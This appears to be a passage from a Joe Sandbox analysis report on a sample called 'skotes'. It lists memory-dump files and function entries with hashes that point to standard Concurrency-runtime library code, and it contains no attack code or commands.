Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 346ae0c461c92ee2c29dec86be5da4d8d3de0496e4d05726c11970ec45bedee7
Instruction ID: 76c0cfa065b6444225fae56e11184b6a525a6eab77f9ad6431ab423821b129a7
Opcode Fuzzy Hash: 346ae0c461c92ee2c29dec86be5da4d8d3de0496e4d05726c11970ec45bedee7
Instruction Fuzzy Hash: 5E21DBB5661305ABCB08EF94C842BADB7B5BF58300F104029F505676D2DBB0AE65CF95

Function 00214EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00214F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00214F66

Strings

ppVirtualProcessorRoots, xrefs: 00214F1C
count, xrefs: 00214EBA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: e7fdbbcd238a57bef9a9028ce84eb8d30156f0848ed8d3ddf09a961e64fc56b5
Instruction ID: bf6d86eb16d8ea7fcf1b172ef7983594f81f533bcc3aacce6dec2df8372aa3d7
Opcode Fuzzy Hash: e7fdbbcd238a57bef9a9028ce84eb8d30156f0848ed8d3ddf09a961e64fc56b5
Instruction Fuzzy Hash: 9621D334610219EFCB14EFA8C892EAD77F5BF58310F104069F90A97692DB71AE61CF51

Function 0021B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0021BA0E

Strings

combase.dll, xrefs: 0021B983, 0021B988, 0021B99D, 0021B9C8
RoUninitialize, xrefs: 0021B9C1
RoInitialize, xrefs: 0021B998

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 4ce1ddeae33f0930b88de513d893627e3b5ee4d53bfb5e78c6fa7852c4254f3f
Instruction ID: fd03788dffe02eee7e07150ce7ee1881f40e7e6ef4801089d746e2a6f7d54ab6
Opcode Fuzzy Hash: 4ce1ddeae33f0930b88de513d893627e3b5ee4d53bfb5e78c6fa7852c4254f3f
Instruction Fuzzy Hash: 16012D705B132669E711BF759C59BEB35EC9F1131CF103829B540E61C0EF74E8B08AA5

Function 00216E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00216E73

Part of subcall function 00214E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00214E7F
Part of subcall function 00214E6E: List.LIBCMT ref: 00214E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00216E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00216EAA

Strings

eventObject, xrefs: 00216E7D

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3c83765a48cce93145283f90858614b618dcdc918cc5b4b36591f04b881251b4
Instruction ID: 201704e2559fb8b1fa6d8b5a31c6038ee6e22fdd73e19e69156330b5bd490fe5
Opcode Fuzzy Hash: 3c83765a48cce93145283f90858614b618dcdc918cc5b4b36591f04b881251b4
Instruction Fuzzy Hash: 3811E576570315A6DB24EFA4CD4AFEE73E86F20314F204225F504A60C2EB70AA64CAA5

Function 0021A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0021A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0021A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0021A139

Strings

pScheduler, xrefs: 0021A131

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 034f1c1627fbba3040206b23d7f8132d68a91b04d99a251b71b74bf9c70acf7d
Instruction ID: 55a81d903426dcf8b5cd3cddf132472187dcd81d32debc1ac4a70ce0e8a6d24b
Opcode Fuzzy Hash: 034f1c1627fbba3040206b23d7f8132d68a91b04d99a251b71b74bf9c70acf7d
Instruction Fuzzy Hash: 55F0E035920604B7C725FF54DC83CDEB3F96E61714B108119E40957181DB709AB5CA91

Function 0022CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0022CC66

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
